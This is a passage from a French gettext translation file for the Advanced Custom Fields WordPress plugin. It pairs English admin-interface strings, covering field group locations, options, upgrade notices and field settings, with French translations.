#: admin/views/field-group-locations.php:6 fields/relationship.php:726
msgid "Post Type"
msgstr "Type de publication"

# @ acf
#: admin/views/field-group-locations.php:7
msgid "Post Status"
msgstr "Statut de l'article"

# @ acf
#: admin/views/field-group-locations.php:8
msgid "Post Format"
msgstr "Format d‘article"

#: admin/views/field-group-locations.php:9
msgid "Post Category"
msgstr "Catégorie"

# @ acf
#: admin/views/field-group-locations.php:10
msgid "Post Taxonomy"
msgstr "Taxonomie"

# @ acf
#: admin/views/field-group-locations.php:13 admin/views/field-group-locations.php:17
msgid "Page"
msgstr "Page"

#: admin/views/field-group-locations.php:14
msgid "Page Template"
msgstr "Modèle de page"

# @ acf
#: admin/views/field-group-locations.php:15
msgid "Page Type"
msgstr "Type de page"

# @ acf
#: admin/views/field-group-locations.php:16
msgid "Page Parent"
msgstr "Page parente"

#: admin/views/field-group-locations.php:19 fields/user.php:36
msgid "User"
msgstr "Utilisateur"

#: admin/views/field-group-locations.php:20
msgid "Current User"
msgstr "Utilisateur actuel"

# @ acf
#: admin/views/field-group-locations.php:21
msgid "Current User Role"
msgstr "Rôle utilisateur actuel"

# @ acf
#: admin/views/field-group-locations.php:22
msgid "User Form"
msgstr "Formulaire utilisateur"

# @ acf
#: admin/views/field-group-locations.php:23
msgid "User Role"
msgstr "Rôle utilisateur"

# @ acf
#: admin/views/field-group-locations.php:25 pro/admin/options-page.php:49
msgid "Forms"
msgstr "Formulaires"

#: admin/views/field-group-locations.php:26
msgid "Attachment"
msgstr "Média (photo, fichier…)"

# @ acf
#: admin/views/field-group-locations.php:27
msgid "Taxonomy Term"
msgstr "Termes de taxonomie"

#: admin/views/field-group-locations.php:28
msgid "Comment"
msgstr "Commentaires"

#: admin/views/field-group-locations.php:29
msgid "Widget"
msgstr "Widget"

# @ acf
#: admin/views/field-group-locations.php:41
msgid "Rules"
msgstr "Règles"

# @ acf
#: admin/views/field-group-locations.php:42
msgid "Create a set of rules to determine which edit screens will use these advanced custom fields"
msgstr "Créez une série de règles pour déterminer les écrans sur lesquels ce groupe de champs sera utilisé"

#: admin/views/field-group-locations.php:59
msgid "Show this field group if"
msgstr "Montrer ce groupe quand"

# @ acf
#: admin/views/field-group-options.php:20
msgid "Style"
msgstr "Style"

#: admin/views/field-group-options.php:27
msgid "Standard (WP metabox)"
msgstr "Dans un bloc"

#: admin/views/field-group-options.php:28
msgid "Seamless (no metabox)"
msgstr "Sans contour"

# @ acf
#: admin/views/field-group-options.php:35
msgid "Position"
msgstr "Position"

#: admin/views/field-group-options.php:42
msgid "High (after title)"
msgstr "Haute (après le titre)"

#: admin/views/field-group-options.php:43
msgid "Normal (after content)"
msgstr "Normal (après le contenu)"

#: admin/views/field-group-options.php:44
msgid "Side"
msgstr "Sur le côté"

#: admin/views/field-group-options.php:52
msgid "Label placement"
msgstr "Emplacement de l'intitulé"

#: admin/views/field-group-options.php:59 fields/tab.php:117
msgid "Top aligned"
msgstr "Aligné en haut"

#: admin/views/field-group-options.php:60 fields/tab.php:118
msgid "Left Aligned"
msgstr "Aligné à gauche"

# @ acf
#: admin/views/field-group-options.php:67
msgid "Instruction placement"
msgstr "Emplacement des instructions"

# @ acf
#: admin/views/field-group-options.php:74
msgid "Below labels"
msgstr "Sous les intitulés"

# @ acf
#: admin/views/field-group-options.php:75
msgid "Below fields"
msgstr "Sous les champs"

# @ acf
#: admin/views/field-group-options.php:82
msgid "Order No."
msgstr "Numéro d’ordre"

#: admin/views/field-group-options.php:83
msgid "Field groups with a lower order will appear first"
msgstr "Le groupe de champs qui a l’ordre le plus petit sera affiché en premier"

#: admin/views/field-group-options.php:94
msgid "Shown in field group list"
msgstr "Affiché dans la page des groupes de champs ACF"

#: admin/views/field-group-options.php:104
msgid "Hide on screen"
msgstr "Masquer"

# @ acf
#: admin/views/field-group-options.php:105
msgid "<b>Select</b> items to <b>hide</b> them from the edit screen."
msgstr "<b>Cochez</b> les champs que vous souhaitez <b>masquer</b> sur la page d‘édition"

# @ acf
#: admin/views/field-group-options.php:105
msgid ""
"If multiple field groups appear on an edit screen, the first field group's options will be used (the one with the "
"lowest order number)"
msgstr ""
"Si plusieurs groupes ACF sont présents sur une page d‘édition, le groupe portant le numéro le plus bas sera affiché en "
"premier."

#: admin/views/field-group-options.php:112
msgid "Permalink"
msgstr "Permalien"

#: admin/views/field-group-options.php:113
msgid "Content Editor"
msgstr "L'éditeur visuel (WYSIWYG)"

#: admin/views/field-group-options.php:114
msgid "Excerpt"
msgstr "Le résumé (excerpt)"

#: admin/views/field-group-options.php:116
msgid "Discussion"
msgstr "Discussion"

#: admin/views/field-group-options.php:117
msgid "Comments"
msgstr "Les commentaires"

#: admin/views/field-group-options.php:118
msgid "Revisions"
msgstr "Révisions"

#: admin/views/field-group-options.php:119
msgid "Slug"
msgstr "Identifiant (slug)"

#: admin/views/field-group-options.php:120
msgid "Author"
msgstr "Auteur"

# @ acf
#: admin/views/field-group-options.php:121
msgid "Format"
msgstr "Format"

#: admin/views/field-group-options.php:122
msgid "Page Attributes"
msgstr "Attributs de la page"

# @ acf
#: admin/views/field-group-options.php:123 fields/relationship.php:739
msgid "Featured Image"
msgstr "Image à la Une"

#: admin/views/field-group-options.php:124
msgid "Categories"
msgstr "Catégories"

#: admin/views/field-group-options.php:125
msgid "Tags"
msgstr "Mots-clés"

#: admin/views/field-group-options.php:126
msgid "Send Trackbacks"
msgstr "Envoyer des Trackbacks"

# @ acf
#: admin/views/settings-addons.php:23
msgid "Download & Install"
msgstr "Télécharger & installer"

#: admin/views/settings-addons.php:42
msgid "Installed"
msgstr "Installé"

# @ acf
#: admin/views/settings-info.php:9
msgid "Welcome to Advanced Custom Fields"
msgstr "Bienvenue sur Advanced Custom Fields"

#: admin/views/settings-info.php:10
#, php-format
msgid "Thank you for updating! ACF %s is bigger and better than ever before. We hope you like it."
msgstr "Merci d'avoir mis à jour ! ACF %s est plus performant que jamais. Nous espérons que vous l'apprécierez."

#: admin/views/settings-info.php:23
msgid "A smoother custom field experience"
msgstr "Une expérience des champs personnalisés plus aboutie"

#: admin/views/settings-info.php:28
msgid "Improved Usability"
msgstr "Convivialité améliorée"

#: admin/views/settings-info.php:29
msgid ""
"Including the popular Select2 library has improved both usability and speed across a number of field types including "
"post object, page link, taxonomy and select."
msgstr ""
"ACF inclue désormais la librairie populaire Select2, qui améliore l'ergonomie et la vitesse sur plusieurs types de "
"champs dont l'objet article, lien vers page, taxonomie, et sélection."

#: admin/views/settings-info.php:33
msgid "Improved Design"
msgstr "Design amélioré"

#: admin/views/settings-info.php:34
msgid ""
"Many fields have undergone a visual refresh to make ACF look better than ever! Noticeable changes are seen on the "
"gallery, relationship and oEmbed (new) fields!"
msgstr ""
"La plupart des champs se sont faits une beauté afin qu'ACF apparaisse sous son plus beau jour ! Vous apercevrez des "
"améliorations sur la galerie, le champ relationnel et le petit nouveau : oembed"

#: admin/views/settings-info.php:38
msgid "Improved Data"
msgstr "Données améliorées"

#: admin/views/settings-info.php:39
msgid ""
"Redesigning the data architecture has allowed sub fields to live independently from their parents. This allows you to "
"drag and drop fields in and out of parent fields!"
msgstr ""
"L'architecture des données a été complètement revue et permet dorénavant aux sous champs de vivre indépendamment de "
"leurs parents.   Cela permet de déplacer les champs en dehors de leurs parents."

#: admin/views/settings-info.php:45
msgid "Goodbye Add-ons. Hello PRO"
msgstr "Au revoir Add-ons. Bonjour ACF Pro !"

#: admin/views/settings-info.php:50
msgid "Introducing ACF PRO"
msgstr "Nous vous présentons ACF PRO"

#: admin/views/settings-info.php:51
msgid "We're changing the way premium functionality is delivered in an exciting way!"
msgstr "Nous avons changé la façon dont les fonctionnalités premium sont délivrées !"

#: admin/views/settings-info.php:52
#, php-format
msgid ""
"All 4 premium add-ons have been combined into a new <a href=\"%s\">Pro version of ACF</a>. With both personal and "
"developer licenses available, premium functionality is more affordable and accessible than ever before!"
msgstr ""
"Les 4 add-ons premiums (Répéteur, galerie, contenu flexible et pages d'options) ont été combinés en une toute nouvelle "
"<a href=\"%s\">version PRO d'ACF</a>. Avec les licences personnelles et développeur disponibles, les fonctionnalités "
"premium sont encore plus accessibles que jamais auparavant."

#: admin/views/settings-info.php:56
msgid "Powerful Features"
msgstr "Nouvelles fonctionnalités surpuissantes"

#: admin/views/settings-info.php:57
msgid ""
"ACF PRO contains powerful features such as repeatable data, flexible content layouts, a beautiful gallery field and the "
"ability to create extra admin options pages!"
msgstr ""
"ACF PRO contient de nouvelles super fonctionnalités telles que les champs répéteurs, les dispositions flexibles, une "
"superbe galerie et la possibilité de créer des pages d'options. "

#: admin/views/settings-info.php:58
#, php-format
msgid "Read more about <a href=\"%s\">ACF PRO features</a>."
msgstr "En savoir plus à propos des <a href=\"%s\">fonctionnalités ACF PRO</a>."

# @ wp3i
#: admin/views/settings-info.php:62
msgid "Easy Upgrading"
msgstr "Mise à niveau facile"

#: admin/views/settings-info.php:63
#, php-format
msgid "To help make upgrading easy, <a href=\"%s\">login to your store account</a> and claim a free copy of ACF PRO!"
msgstr ""
"Afin de mettre à niveau facilement, <a href=\"%s\">Connectez-vous à votre compte ACF en ligne</a> et obtenez une "
"licence gratuite d'ACF PRO !"

#: admin/views/settings-info.php:64
#, php-format
msgid ""
"We also wrote an <a href=\"%s\">upgrade guide</a> to answer any questions, but if you do have one, please contact our "
"support team via the <a href=\"%s\">help desk</a>"
msgstr ""
"Nous avons également rédigé un <a href=\"%s\">guide de mise à jour</a> pour répondre aux questions fréquentes. Si vous "
"avez une question spécifique, merci de contacter notre équipe <a href=\"%s\">le support</a>."

#: admin/views/settings-info.php:72
msgid "Under the Hood"
msgstr "Changements techniques sous le capot"

#: admin/views/settings-info.php:77
msgid "Smarter field settings"
msgstr "Paramètres de champs plus intelligents"

#: admin/views/settings-info.php:78
msgid "ACF now saves its field settings as individual post objects"
msgstr "ACF enregistre désormais les paramètres des champs en tant qu'objets individuels"

#: admin/views/settings-info.php:82
msgid "More AJAX"
msgstr "Plus d'AJAX"

#: admin/views/settings-info.php:83
msgid "More fields use AJAX powered search to speed up page loading"
msgstr "Plus de champs utilisent la recherche via AJAX pour améliorer le temps de chargement des pages"

#: admin/views/settings-info.php:87
msgid "Local JSON"
msgstr "JSON local"

#: admin/views/settings-info.php:88
msgid "New auto export to JSON feature improves speed"
msgstr "Nouvelles fonctionnalité d'export JSON améliorant la vitesse"

#: admin/views/settings-info.php:94
msgid "Better version control"
msgstr "Meilleur contrôle de version"

#: admin/views/settings-info.php:95
msgid "New auto export to JSON feature allows field settings to be version controlled"
msgstr "Nouvelle fonctionnalité d'export JSON permettant un contrôle de version des champs"

#: admin/views/settings-info.php:99
msgid "Swapped XML for JSON"
msgstr "Abandon de XML au profit de JSON"

#: admin/views/settings-info.php:100
msgid "Import / Export now uses JSON in favour of XML"
msgstr "L'import / export utilise désormais JSON à la place de XML"

#: admin/views/settings-info.php:104
msgid "New Forms"
msgstr "Nouveaux formulaires"

#: admin/views/settings-info.php:105
msgid "Fields can now be mapped to comments, widgets and all user forms!"
msgstr "Vous pouvez désormais assigner des champs aux commentaires, widgets et tous les formulaires utilisateurs !"

#: admin/views/settings-info.php:112
msgid "A new field for embedding content has been added"
msgstr "Un nouveau champ pour embarquer du contenu a été ajouté"

#: admin/views/settings-info.php:116
msgid "New Gallery"
msgstr "Nouvelle galerie "

#: admin/views/settings-info.php:117
msgid "The gallery field has undergone a much needed facelift"
msgstr "La galerie d'images a subi un lifting qui la rend encore plus agréable à utiliser"

#: admin/views/settings-info.php:121
msgid "New Settings"
msgstr "Nouveaux paramètres"

#: admin/views/settings-info.php:122
msgid "Field group settings have been added for label placement and instruction placement"
msgstr "De nouveaux paramètres permettent de choisir la position de l'intitulé et des instructions"

#: admin/views/settings-info.php:128
msgid "Better Front End Forms"
msgstr "De meilleurs formulaires"

#: admin/views/settings-info.php:129
msgid "acf_form() can now create a new post on submission"
msgstr "acf_form() peut désormais créer un nouvel article lors de l'enregistrement"

#: admin/views/settings-info.php:133
msgid "Better Validation"
msgstr "Meilleure validation"

#: admin/views/settings-info.php:134
msgid "Form validation is now done via PHP + AJAX in favour of only JS"
msgstr "La validation des formulaires est désormais effectuée via PHP + AJAX au lieu d'être simplement faite en JS"

# @ acf
#: admin/views/settings-info.php:138
msgid "Relationship Field"
msgstr "Champ relationnel"

#: admin/views/settings-info.php:139
msgid "New Relationship field setting for 'Filters' (Search, Post Type, Taxonomy)"
msgstr "Nouveau paramètre de filtres (recherche, type de publication, taxonomie) pour le champ relationnel"

# @ acf
#: admin/views/settings-info.php:145
msgid "Moving Fields"
msgstr "Champs déplaçables"

#: admin/views/settings-info.php:146
msgid "New field group functionality allows you to move a field between groups & parents"
msgstr ""
"Nouvelle fonctionnalité dans les groupes de champs permettant de déplacer un champ dans un autre groupe ou vers les "
"parents"

# @ acf
#: admin/views/settings-info.php:150 fields/page_link.php:36
msgid "Page Link"
msgstr "Lien vers page ou article"

#: admin/views/settings-info.php:151
msgid "New archives group in page_link field selection"
msgstr ""
"Il est désormais possible de faire un lien vers les archives du blog ou d'un type de publication avec le champ Lien "
"vers une page ou un article"

# @ acf
#: admin/views/settings-info.php:155
msgid "Better Options Pages"
msgstr "Des pages d'options encore plus abouties"

#: admin/views/settings-info.php:156
msgid "New functions for options page allow creation of both parent and child menu pages"
msgstr "Nouvelles fonctions pour les pages d'options vous permettant la création de pages parents/enfants"

#: admin/views/settings-info.php:165
#, php-format
msgid "We think you'll love the changes in %s."
msgstr "Nous pensons que vous allez adorer les nouveautés présentées dans la version %s."

# @ acf
#: admin/views/settings-tools-export.php:27
msgid "Export Field Groups to PHP"
msgstr "Exportez des groupes de champs en PHP"

#: admin/views/settings-tools-export.php:31
msgid ""
"The following code can be used to register a local version of the selected field group(s). A local field group can "
"provide many benefits such as faster load times, version control & dynamic fields/settings. Simply copy and paste the "
"following code to your theme's functions.php file or include it within an external file."
msgstr ""
"Le code suivant peut être utilisé pour enregistrer une version locale du groupe de champs sélectionné. Un groupe de "
"champ local apporte pas mal de bénéfices tels qu'un temps de chargement plus rapide, le contrôle de version et les "
"champs/paramètres dynamiques. Copiez/collez simplement le code suivant dans le functions.php de votre thème ou incluez-"
"le depuis un autre fichier."

# @ default
#: admin/views/settings-tools.php:5
msgid "Select Field Groups"
msgstr "Sélectionnez le groupe de champs"

# @ acf
#: admin/views/settings-tools.php:35
msgid "Export Field Groups"
msgstr "Exporter les groupes de champs"

#: admin/views/settings-tools.php:38
msgid ""
"Select the field groups you would like to export and then select your export method. Use the download button to export "
"to a .json file which you can then import to another ACF installation. Use the generate button to export to PHP code "
"which you can place in your theme."
msgstr ""
"Sélectionnez le groupe de champs que vous souhaitez exporter et choisissez ensuite la méthode d'export : le bouton "
"télécharger vous permettra d'exporter un fichier JSON que vous pourrez importer dans une autre installation ACF. Le "
"bouton générer exportera le code PHP que vous pourrez placer dans votre thème."

#: admin/views/settings-tools.php:50
msgid "Download export file"
msgstr "Télécharger le fichier d'export"

#: admin/views/settings-tools.php:51
msgid "Generate export code"
msgstr "Générer le code d'export"

# @ acf
#: admin/views/settings-tools.php:64
msgid "Import Field Groups"
msgstr "Importer les groupes de champs"

#: admin/views/settings-tools.php:67
msgid ""
"Select the Advanced Custom Fields JSON file you would like to import. When you click the import button below, ACF will "
"import the field groups."
msgstr "Sélectionnez le fichier JSON que vous souhaitez importer et cliquez sur Importer. ACF s'occupe du reste."

# @ acf
#: admin/views/settings-tools.php:77 fields/file.php:46
msgid "Select File"
msgstr "Sélectionner un fichier"

#: admin/views/settings-tools.php:86
msgid "Import"
msgstr "Importer"

#: admin/views/update-network.php:4
msgid "Upgrade Sites"
msgstr "Mise à niveau des sites"

# @ acf
#: admin/views/update-network.php:13 admin/views/update.php:8
msgid "Advanced Custom Fields Database Upgrade"
msgstr "Mise à niveau de la base de données Advanced Custom Fields"

#: admin/views/update-network.php:15
#, php-format
msgid "The following sites require a DB upgrade. Check the ones you want to update and then click %s."
msgstr ""
"Les sites suivants nécessites une mise à niveau de la base de données. Sélectionnez ceux que vous voulez mettre à jour "
"et cliquez sur %s."

#: admin/views/update-network.php:24 admin/views/update-network.php:32
msgid "Site"
msgstr "Site"

#: admin/views/update-network.php:52
#, php-format
msgid "Site requires database upgrade from %s to %s"
msgstr "Le site requiert la mise à niveau de la base de %s à %s"

#: admin/views/update-network.php:54
msgid "Site is up to date"
msgstr "Site à jour"

#: admin/views/update-network.php:67 admin/views/update.php:16
msgid "Database Upgrade complete. <a href=\"%s\">Return to network dashboard</a>"
msgstr "Mise à niveau de la base de données effectuée. <a href=\"%s\">Retourner au panneau d'administration du réseau</a>"

#: admin/views/update-network.php:106 admin/views/update-notice.php:35
msgid ""
"It is strongly recommended that you backup your database before proceeding. Are you sure you wish to run the updater "
"now?"
msgstr ""
"Il est fortement recommandé de faire une sauvegarde de votre base de données avant de continuer. Êtes-vous sûr de "
"vouloir lancer la migration maintenant ?"

# @ wp3i
#: admin/views/update-network.php:162
msgid "Upgrade complete"
msgstr "Mise à niveau terminée"

#: admin/views/update-network.php:166 admin/views/update.php:14
#, php-format
msgid "Upgrading data to version %s"
msgstr "Migration des données vers la version %s"

#: admin/views/update-notice.php:23
msgid "Database Upgrade Required"
msgstr "Mise à jour de la base de données nécessaire"

#: admin/views/update-notice.php:25
#, php-format
msgid "Thank you for updating to %s v%s!"
msgstr "Merci d'avoir mis à jour %s v%s !"

#: admin/views/update-notice.php:25
msgid "Before you start using the new awesome features, please update your database to the newest version."
msgstr "Avant d'utiliser ces nouvelles fonctionnalités, il faut mettre à jour la base de données."

#: admin/views/update.php:12
msgid "Reading upgrade tasks..."
msgstr "Lecture des instructions de mise à jour..."

# @ acf
#: admin/views/update.php:16
msgid "See what's new"
msgstr "Découvrir les nouveautés"

#: api/api-helpers.php:933
msgid "Thumbnail"
msgstr "Miniature"

#: api/api-helpers.php:934
msgid "Medium"
msgstr "Moyen"

#: api/api-helpers.php:935
msgid "Large"
msgstr "Grande"

#: api/api-helpers.php:984
msgid "Full Size"
msgstr "Taille originale"

# @ acf
#: api/api-helpers.php:1196 api/api-helpers.php:1759 fields/clone.php:298
msgid "(no title)"
msgstr "(aucun titre)"

#: api/api-helpers.php:3605
#, php-format
msgid "Image width must be at least %dpx."
msgstr "L'image doit mesurer au moins %dpx de largeur"

#: api/api-helpers.php:3610
#, php-format
msgid "Image width must not exceed %dpx."
msgstr "L'image ne doit pas dépasser %dpx de largeur"

#: api/api-helpers.php:3626
#, php-format
msgid "Image height must be at least %dpx."
msgstr "L'image doit mesurer au moins %dpx de hauteur"

#: api/api-helpers.php:3631
#, php-format
msgid "Image height must not exceed %dpx."
msgstr "L'image ne doit pas dépasser %dpx de hauteur"

#: api/api-helpers.php:3649
#, php-format
msgid "File size must be at least %s."
msgstr "Le poids de l'image doit être d'au moins %s."

#: api/api-helpers.php:3654
#, php-format
msgid "File size must must not exceed %s."
msgstr "Le poids de l'image ne peut pas dépasser %s."

# @ acf
#: api/api-helpers.php:3688
#, php-format
msgid "File type must be %s."
msgstr "Le type de fichier doit être %s."

#: api/api-template.php:1094
msgid "Spam Detected"
msgstr "Spam repéré"

# @ acf
#: api/api-template.php:1237 core/media.php:56 pro/api/api-options-page.php:50 pro/fields/gallery.php:586
msgid "Update"
msgstr "Mise à jour"

# @ acf
#: api/api-template.php:1238
msgid "Post updated"
msgstr "Article mis à jour"

#: api/api-template.php:1306 core/field.php:133
msgid "Content"
msgstr "Contenu"

#: api/api-template.php:1371
msgid "Validate Email"
msgstr "Valider l’email"

#: core/field.php:132
msgid "Basic"
msgstr "Champs basiques"

# @ acf
#: core/field.php:134
msgid "Choice"
msgstr "Choix"

# @ acf
#: core/field.php:135
msgid "Relational"
msgstr "Relationnel"

#: core/field.php:136
msgid "jQuery"
msgstr "jQuery"

# @ acf
#: core/field.php:137 fields/checkbox.php:223 fields/radio.php:292 pro/fields/flexible-content.php:491
#: pro/fields/flexible-content.php:540 pro/fields/repeater.php:459
msgid "Layout"
msgstr "Disposition"

#: core/input.php:258
msgid "Expand Details"
msgstr "Afficher les détails"

#: core/input.php:259
msgid "Collapse Details"
msgstr "Masquer les détails"

#: core/input.php:260
msgid "Validation successful"
msgstr "Validé avec succès"

#: core/input.php:261 core/validation.php:306 forms/widget.php:234
msgid "Validation failed"
msgstr "Echec de la validation"

#: core/input.php:262
msgid "1 field requires attention"
msgstr "1 champ requiert votre attention"

#: core/input.php:263
#, php-format
msgid "%d fields require attention"
msgstr "%d champs requièrent votre attention"

#: core/input.php:264
msgid "Restricted"
msgstr "Limité"

# @ acf
#: core/media.php:54 fields/select.php:36 fields/select.php:230 fields/taxonomy.php:759
msgid "Select"
msgstr "Sélectionner"

#: core/media.php:57 fields/file.php:49 fields/image.php:54 pro/fields/gallery.php:56
msgid "Uploaded to this post"
msgstr "Liés à cette publication"

# @ default
#: core/validation.php:207
#, php-format
msgid "%s value is required"
msgstr "La valeur %s est requise"

# @ acf
#: fields/checkbox.php:36 fields/taxonomy.php:754
msgid "Checkbox"
msgstr "Case à cocher"

#: fields/checkbox.php:141
msgid "Toggle All"
msgstr "Tout masquer/afficher"

# @ acf
#: fields/checkbox.php:205 fields/radio.php:240 fields/select.php:425
msgid "Choices"
msgstr "Choix"

#: fields/checkbox.php:206 fields/radio.php:241 fields/select.php:426
msgid "Enter each choice on a new line."
msgstr "Indiquez une valeur par ligne"

#: fields/checkbox.php:206 fields/radio.php:241 fields/select.php:426
msgid "For more control, you may specify both a value and label like this:"
msgstr "Pour un contrôle plus poussé, vous pouvez spécifier la valeur et le libellé de cette manière :"

#: fields/checkbox.php:206 fields/radio.php:241 fields/select.php:426
msgid "red : Red"
msgstr "rouge : Rouge"

# @ acf
#: fields/checkbox.php:214 fields/color_picker.php:147 fields/email.php:124 fields/number.php:150 fields/radio.php:283
#: fields/select.php:434 fields/text.php:148 fields/textarea.php:145 fields/true_false.php:115 fields/url.php:117
#: fields/wysiwyg.php:379
msgid "Default Value"
msgstr "Valeur par défaut"

#: fields/checkbox.php:215 fields/select.php:435
msgid "Enter each default value on a new line"
msgstr "Entrez chaque valeur par défaut sur une nouvelle ligne"

#: fields/checkbox.php:229 fields/radio.php:298
msgid "Vertical"
msgstr "Vertical"

#: fields/checkbox.php:230 fields/radio.php:299
msgid "Horizontal"
msgstr "Horizontal"

#: fields/checkbox.php:237
msgid "Toggle"
msgstr "Intervertir"

#: fields/checkbox.php:238
msgid "Prepend an extra checkbox to toggle all choices"
msgstr "Ajouter une case à cocher au début pour intervertir tous les choix"

#: fields/clone.php:36 fields/clone.php:199
msgid "Clone"
msgstr "Clone"

#: fields/clone.php:200
msgid "Select one or more fields you wish to clone"
msgstr "Sélectionnez un ou plusieurs champs à cloner"

#: fields/clone.php:288
#, php-format
msgid "All fields from %s field group"
msgstr "Tous les champs du groupe %s"

# @ acf
#: fields/color_picker.php:36
msgid "Color Picker"
msgstr "Couleur"

#: fields/color_picker.php:83
msgid "Clear"
msgstr "Effacer"

# @ acf
#: fields/color_picker.php:84
msgid "Default"
msgstr "Valeur par défaut"

# @ acf
#: fields/color_picker.php:85
msgid "Select Color"
msgstr "Couleur"

#: fields/color_picker.php:86
msgid "Current Color"
msgstr "Couleur actuelle"

# @ acf
#: fields/date_picker.php:36
msgid "Date Picker"
msgstr "Date"

#: fields/date_picker.php:44
msgctxt "Date Picker JS closeText"
msgid "Done"
msgstr "Valider"

#: fields/date_picker.php:45
msgctxt "Date Picker JS currentText"
msgid "Today"
msgstr "Aujourd’hui"

#: fields/date_picker.php:46
msgctxt "Date Picker JS nextText"
msgid "Next"
msgstr "Suivant"

#: fields/date_picker.php:47
msgctxt "Date Picker JS prevText"
msgid "Prev"
msgstr "Précédent"

#: fields/date_picker.php:48
msgctxt "Date Picker JS weekHeader"
msgid "Wk"
msgstr "Sem"

# @ acf
#: fields/date_picker.php:195 fields/date_time_picker.php:240 fields/time_picker.php:126
msgid "Display Format"
msgstr "Format dans l’administration"

#: fields/date_picker.php:196 fields/date_time_picker.php:241 fields/time_picker.php:127
msgid "The format displayed when editing a post"
msgstr "Format affiché lors de l’édition d’un article depuis l’interface d’administration"

# @ acf
#: fields/date_picker.php:210 fields/date_time_picker.php:256 fields/post_object.php:426 fields/relationship.php:766
#: fields/time_picker.php:140
msgid "Return Format"
msgstr "Format dans le modèle"

#: fields/date_picker.php:211 fields/date_time_picker.php:257 fields/time_picker.php:141
msgid "The format returned via template functions"
msgstr "Valeur retournée dans le modèle sur le site."

#: fields/date_picker.php:226 fields/date_time_picker.php:272
msgid "Week Starts On"
msgstr "Les semaines commencent le"

#: fields/date_time_picker.php:36
msgid "Date Time Picker"
msgstr "Date et Heure"

#: fields/date_time_picker.php:44
msgctxt "Date Time Picker JS timeOnlyTitle"
msgid "Choose Time"
msgstr "Choix de l’heure"

#: fields/date_time_picker.php:45
msgctxt "Date Time Picker JS timeText"
msgid "Time"
msgstr "Heure"

#: fields/date_time_picker.php:46
msgctxt "Date Time Picker JS hourText"
msgid "Hour"
msgstr "Heure"

#: fields/date_time_picker.php:47
msgctxt "Date Time Picker JS minuteText"
msgid "Minute"
msgstr "Minute"

#: fields/date_time_picker.php:48
msgctxt "Date Time Picker JS secondText"
msgid "Second"
msgstr "Seconde"

#: fields/date_time_picker.php:49
msgctxt "Date Time Picker JS millisecText"
msgid "Millisecond"
msgstr "Milliseconde"

#: fields/date_time_picker.php:50
msgctxt "Date Time Picker JS microsecText"
msgid "Microsecond"
msgstr "Microseconde"

#: fields/date_time_picker.php:51
msgctxt "Date Time Picker JS timezoneText"
msgid "Time Zone"
msgstr "Fuseau horaire"

#: fields/date_time_picker.php:52
msgctxt "Date Time Picker JS currentText"
msgid "Now"
msgstr "Maintenant"

#: fields/date_time_picker.php:53
msgctxt "Date Time Picker JS closeText"
msgid "Done"
msgstr "Valider"

#: fields/date_time_picker.php:55
msgctxt "Date Time Picker JS amText"
msgid "AM"
msgstr "AM"

#: fields/date_time_picker.php:56
msgctxt "Date Time Picker JS amTextShort"
msgid "A"
msgstr "A"

#: fields/date_time_picker.php:59
msgctxt "Date Time Picker JS pmText"
msgid "PM"
msgstr "PM"

#: fields/date_time_picker.php:60
msgctxt "Date Time Picker JS pmTextShort"
msgid "P"
msgstr "P"

#: fields/email.php:36
msgid "Email"
msgstr "Mail"

#: fields/email.php:125 fields/number.php:151 fields/radio.php:284 fields/text.php:149 fields/textarea.php:146
#: fields/url.php:118 fields/wysiwyg.php:380
msgid "Appears when creating a new post"
msgstr "Valeur affichée à la création d'un article"

#: fields/email.php:133 fields/number.php:159 fields/password.php:137 fields/text.php:157 fields/textarea.php:154
#: fields/url.php:126
msgid "Placeholder Text"
msgstr "Texte de substitution"

#: fields/email.php:134 fields/number.php:160 fields/password.php:138 fields/text.php:158 fields/textarea.php:155
#: fields/url.php:127
msgid "Appears within the input"
msgstr "Apparait dans le champ (placeholder)"

#: fields/email.php:142 fields/number.php:168 fields/password.php:146 fields/text.php:166
msgid "Prepend"
msgstr "Ajouter avant"

#: fields/email.php:143 fields/number.php:169 fields/password.php:147 fields/text.php:167
msgid "Appears before the input"
msgstr "Apparait avant le champ"

#: fields/email.php:151 fields/number.php:177 fields/password.php:155 fields/text.php:175
msgid "Append"
msgstr "Ajouter ensuite"

#: fields/email.php:152 fields/number.php:178 fields/password.php:156 fields/text.php:176
msgid "Appears after the input"
msgstr "Apparait après le champ"

# @ acf
#: fields/file.php:36
msgid "File"
msgstr "Fichier"

# @ acf
#: fields/file.php:47
msgid "Edit File"
msgstr "Modifier le fichier"

# @ acf
#: fields/file.php:48
msgid "Update File"
msgstr "Mettre à jour le fichier"

# @ acf
#: fields/file.php:148
msgid "File name"
msgstr "Nom du fichier"

# @ acf
#: fields/file.php:152 fields/file.php:253 fields/file.php:264 fields/image.php:268 fields/image.php:301
#: pro/fields/gallery.php:715 pro/fields/gallery.php:748
msgid "File size"
msgstr "Taille du fichier"

# @ acf
#: fields/file.php:175
msgid "Add File"
msgstr "Ajouter un fichier"

# @ acf
#: fields/file.php:220 fields/image.php:206 fields/taxonomy.php:823
msgid "Return Value"
msgstr "Valeur affichée dans le template"

#: fields/file.php:221 fields/image.php:207
msgid "Specify the returned value on front end"
msgstr "Spécifier la valeur retournée sur le site"

#: fields/file.php:226
msgid "File Array"
msgstr "Données du fichier (array)"

# @ acf
#: fields/file.php:227
msgid "File URL"
msgstr "URL du fichier"

# @ acf
#: fields/file.php:228
msgid "File ID"
msgstr "ID du Fichier"

#: fields/file.php:235 fields/image.php:231 pro/fields/gallery.php:678
msgid "Library"
msgstr "Médias"

#: fields/file.php:236 fields/image.php:232 pro/fields/gallery.php:679
msgid "Limit the media library choice"
msgstr "Limiter le choix de la médiathèque"

#: fields/file.php:242 fields/image.php:238 pro/fields/gallery.php:685
msgid "Uploaded to post"
msgstr "Liés à cet article"

# @ acf
#: fields/file.php:249 fields/image.php:245 pro/fields/gallery.php:692
msgid "Minimum"
msgstr "Minimum"

#: fields/file.php:250 fields/file.php:261
msgid "Restrict which files can be uploaded"
msgstr "Restreindre l'import de fichiers"

# @ acf
#: fields/file.php:260 fields/image.php:278 pro/fields/gallery.php:725
msgid "Maximum"
msgstr "Maximum"

#: fields/file.php:271 fields/image.php:311 pro/fields/gallery.php:758
msgid "Allowed file types"
msgstr "Types de fichiers autorisés"

#: fields/file.php:272 fields/image.php:312 pro/fields/gallery.php:759
msgid "Comma separated list. Leave blank for all types"
msgstr ""
"Listez les extensions autorisées en les séparant par une virgule. Laissez vide pour autoriser toutes les extensions"

#: fields/google-map.php:36
msgid "Google Map"
msgstr "Google Map"

# @ acf
#: fields/google-map.php:51
msgid "Locating"
msgstr "Localiser"

#: fields/google-map.php:52
